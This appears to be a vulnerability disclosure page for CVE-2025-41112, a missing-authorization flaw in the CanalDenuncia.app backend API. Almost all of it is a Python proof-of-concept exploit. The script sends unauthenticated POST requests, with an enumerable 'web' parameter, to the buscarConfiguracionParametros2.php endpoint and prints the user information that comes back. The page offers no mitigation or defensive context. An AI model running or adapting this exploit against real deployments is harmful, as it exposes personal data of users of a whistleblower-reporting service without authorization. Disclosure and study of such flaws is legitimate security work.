CVE-2025-41112: CanalDenuncia.app 授权缺失漏洞允许未授权访问用户信息

import requests import sys # CVE-2025-41112 PoC - CanalDenuncia.app Authorization Bypass # Target: CanalDenuncia.app backend API # Vulnerability: Missing authorization in /backend/api/buscarConfiguracionParametros2.php def exploit(target_url, web_param): """ Exploit the IDOR vulnerability by sending POST request with 'web' parameter Args: target_url: Base URL of the vulnerable application web_param: Value of the 'web' parameter to enumerate Returns: Response data containing user information """ endpoint = f"{target_url}/backend/api/buscarConfiguracionParametros2.php" # Construct POST request with 'web' parameter data = { 'web': web_param } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: # Send POST request without authentication response = requests.post(endpoint, data=data, headers=headers, timeout=10) print(f"[*] Request sent with web={web_param}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [web_param]") print(f"Example: python {sys.argv[0]} http://target.com user123") sys.exit(1) target_url = sys.argv[1] web_param = sys.argv[2] if len(sys.argv) > 2 else '1' print(f"[*] CVE-2025-41112 PoC - CanalDenuncia.app Authorization Bypass") print(f"[*] Target: {target_url}") print(f"[*] Exploiting endpoint: /backend/api/buscarConfiguracionParametros2.php") print() # Attempt to exploit exploit(target_url, web_param) if __name__ == '__main__': main()